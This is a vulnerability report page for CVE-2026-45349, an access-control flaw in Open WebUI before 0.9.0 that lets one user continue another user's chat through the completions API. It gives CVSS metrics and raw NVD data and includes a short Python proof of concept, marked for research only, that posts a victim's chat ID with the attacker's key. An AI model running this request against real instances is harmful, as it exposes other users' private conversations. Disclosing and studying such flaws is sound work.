Security Vulnerability Report
中文
CVE-2026-45349 CVSS 7.1 HIGH

CVE-2026-45349

Published: 2026-05-15 20:16:49
Last Modified: 2026-05-15 20:16:49

Description

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, a user just needs to use the API endpoint: /api/chat/completions with their own API key (generated in OWUI) and the Chat ID of another user to continue the conversation of the other user. This vulnerability is fixed in 0.9.0.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Open WebUI < 0.9.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Configuration TARGET_URL = "http://target-open-webui-instance/api/chat/completions" ATTACKER_API_KEY = "attacker_api_key_here" # API key generated by attacker VICTIM_CHAT_ID = "victim_chat_id_here" # Chat ID of the victim # Headers headers = { "Authorization": f"Bearer {ATTACKER_API_KEY}", "Content-Type": "application/json" } # Payload payload = { "chat_id": VICTIM_CHAT_ID, "prompt": "Continue the conversation" } # Send request response = requests.post(TARGET_URL, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Leaked data:") print(response.json()) else: print("[-] Exploit failed.") print(response.text)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-45349", "sourceIdentifier": "[email protected]", "published": "2026-05-15T20:16:48.823", "lastModified": "2026-05-15T20:16:48.823", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, a user just needs to use the API endpoint: /api/chat/completions with their own API key (generated in OWUI) and the Chat ID of another user to continue the conversation of the other user. This vulnerability is fixed in 0.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-gfm2-xm6c-37qc", "source": "[email protected]"}]}}